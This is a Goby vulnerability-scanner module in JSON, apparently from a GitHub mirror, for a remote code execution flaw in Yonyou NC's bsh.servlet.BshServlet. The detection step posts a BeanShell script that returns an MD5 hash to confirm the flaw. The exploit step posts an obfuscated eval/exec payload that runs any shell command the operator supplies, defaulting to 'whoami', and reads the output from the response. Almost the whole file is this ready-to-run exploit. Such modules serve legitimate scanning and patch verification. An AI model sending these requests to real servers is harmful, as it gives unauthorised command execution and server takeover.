mirror of https://github.com/qwqdanchun/Goby.git
101 lines
2.6 KiB
JSON
101 lines
2.6 KiB
JSON
{
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"Name": "Yongyou NC bsh.servlet.BshServlet RCE",
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"Description": "A command execution vulnerability exists in Yongyou NC, which can be exploited by attackers to obtain server privileges.",
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"Product": "yongyou-ism",
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"Homepage": "https://www.yonyou.com/",
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"DisclosureDate": "2021-05-24",
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"Author": "李大壮",
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"GobyQuery": "product=\"yongyou-ism\"",
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"Level": "3",
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"Impact": "<p>Attackers can perform remote code execution on affected versions of Yongyou NC via carefully constructed request packets.<br></p>",
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"Recommandation": "<p>1. Intercept access to the bsh.servlet.BshServlet directory</p><p>2. Update Patches</p>",
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"References": [
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"https://blog.csdn.net/qq_41770175/article/details/102821349"
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],
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"HasExp": true,
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"ExpParams": [
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{
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"name": "cmd",
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"type": "input",
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"value": "whoami"
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}
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],
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"ExpTips": {
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"Type": "",
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"Content": ""
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},
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"ScanSteps": [
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"AND",
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{
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"Request": {
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"method": "POST",
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"uri": "/servlet/~ic/bsh.servlet.BshServlet",
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"follow_redirect": false,
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"header": {
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"Content-Type": "application/x-www-form-urlencoded"
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},
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"data_type": "text",
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"data": "bsh.script=import+org.apache.commons.codec.digest.DigestUtils%3B%0D%0Aprint%28DigestUtils.md5Hex%28%22Weaver%22%29%29%3B%0D%0A%0D"
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},
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"ResponseTest": {
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"type": "group",
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"operation": "AND",
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"checks": [
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{
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"type": "item",
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"variable": "$body",
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"operation": "contains",
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"value": "410f8051a15a4c16e5cdfccb9dbf547b",
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"bz": ""
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}
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]
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},
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"SetVariable": []
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}
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],
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"ExploitSteps": [
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"AND",
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{
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"Request": {
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"data": "bsh.script=eval%00(\"ex\"%2b\"ec(\\\"{{{cmd}}}\\\")\");",
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"data_type": "text",
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"follow_redirect": false,
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"header": {
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"Content-Type": "application/x-www-form-urlencoded"
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},
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"method": "POST",
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"uri": "/servlet/~ic/bsh.servlet.BshServlet"
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},
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"ResponseTest": {
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"checks": [
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{
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"bz": "",
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"operation": "==",
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"type": "item",
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"value": "200",
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"variable": "$code"
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}
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],
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"operation": "AND",
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"type": "group"
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},
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"SetVariable": [
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"output|lastbody|regex|(?s)<pre>(.*?)</pre>"
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]
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}
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],
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"Tags": [
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"RCE"
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],
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"CVEIDs": null,
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"CVSSScore": "0.0",
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"AttackSurfaces": {
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"Application": [
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"yongyou-ism"
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],
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"Support": null,
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"Service": null,
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"System": null,
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"Hardware": null
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}
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} |